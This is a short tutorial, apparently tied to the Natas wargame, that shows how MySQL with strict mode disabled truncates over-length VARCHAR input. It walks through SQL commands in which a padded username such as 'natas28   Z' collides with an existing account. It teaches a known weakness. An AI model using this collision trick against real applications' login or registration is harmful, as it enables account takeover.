Overflow-mysql-varchar

Description

This post shows how you can overflow a VARCHAR() field and exploit it to access unexpected data from the database.

SQL strict mode

What is SQL strict mode?

From the MySQL documentation, we can read:

"The MySQL server can operate in different SQL modes, and can apply these modes differently for different clients, depending on the value of the sql_mode system variable. DBAs can set the global SQL mode to match site server operating requirements, and each application can set its session SQL mode to its own requirements."

And more specifically regarding the SQL strict mode:

"Strict mode controls how MySQL handles invalid or missing values in data-change statements such as INSERT or UPDATE. A value can be invalid for several reasons. For example, it might have the wrong data type for the column, or it might be out of range. A value is missing when a new row to be inserted does not contain a value for a non-NULL column that has no explicit DEFAULT clause in its definition. (For a NULL column, NULL is inserted if the value is missing.) Strict mode also affects DDL statements such as CREATE TABLE."

"If strict SQL mode is not enabled and you assign a value to a CHAR or VARCHAR column that exceeds the column's maximum length, the value is truncated to fit and a warning is generated. For truncation of nonspace characters, you can cause an error to occur (rather than a warning) and suppress insertion of the value by using strict SQL mode."

Check if strict mode is enabled

To check if strict mode is enabled:

mysql> SHOW VARIABLES LIKE 'sql_mode';
+---------------+-------------------------------------------------------------------------------------------------------------------------------------------+
| Variable_name | Value                                                                                                                                     |
+---------------+-------------------------------------------------------------------------------------------------------------------------------------------+
| sql_mode      | ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION |
+---------------+-------------------------------------------------------------------------------------------------------------------------------------------+

It is enabled (STRICT_TRANS_TABLES).

Disable strict mode

Let's disable strict mode it and quit (you have to quit and reconnect).

mysql> set global sql_mode=;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> \q

Strict mode is now disabled:

mysql> SHOW VARIABLES LIKE 'sql_mode';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| sql_mode      |       |
+---------------+-------+

Proof of concept

Schema

Let's take a very basic example. We have a users table with 2 fields, defined as follows:

mysql> CREATE TABLE users(username VARCHAR(10), password VARCHAR(64));
Query OK, 0 rows affected (0.01 sec)
mysql> INSERT INTO users(username, password) VALUES('natas28', 's3cR37');
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> SELECT * FROM users;
+------------+----------+
| username   | password |
+------------+----------+
| natas28    | s3cR37   |
+------------+----------+
1 row in set (0.01 sec)

Insert username with trailing space

Now, let's create a second user which name will be exactly the same as the existing one, but with a trailing space (highlighted in red):

mysql> INSERT INTO users(username, password) VALUES('natas28 ', 'space');
Query OK, 1 row affected, 1 warning (0.00 sec)
MariaDB [test]> SELECT username, password, length(username) FROM users;
+----------+----------+------------------+
| username | password | length(username) |
+----------+----------+------------------+
| natas28  | s3cR37   |                7 |
| natas28  | space    |                8 |
+----------+----------+------------------+
2 rows in set (0.000 sec)

What is really interesting here is that despite different lengths, MySQL lists the 2 usernames when we search for the natas28 username:

mysql> SELECT * FROM users WHERE username='natas28';
+------------+----------+
| username   | password |
+------------+----------+
| natas28    | s3cR37   |
| natas28    | space    |
+------------+----------+
2 rows in set (0.00 sec)

Overflow the username field

Note

All the below examples have been performed in a MySQL database with strict mode disabled.

Now, let's see what happens when we overflow the username field (remember that it is VARCHAR(10)).

mysql> INSERT INTO users(username, password) VALUES('natas28   Z', 'overflow');
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> SELECT username FROM users WHERE username='natas28' AND password='overflow';
+------------+
| username   |
+------------+
| natas28    |
+------------+
1 row in set (0.00 sec)

It worked, MySQL has inserted our entry and has truncated the string to fit with the 10 characters constraint.

And now, if we list all usernames that are natas28, we'll see the 3 entries (though none of them has the same length):

mysql> SELECT * FROM users WHERE username='natas28';
+------------+----------+
| username   | password |
+------------+----------+
| natas28    | s3cR37   |
| natas28    | space    |
| natas28    | overflow |
+------------+----------+
3 rows in set (0.00 sec)

Comments

Keywords: exploit overflow mysql varchar strict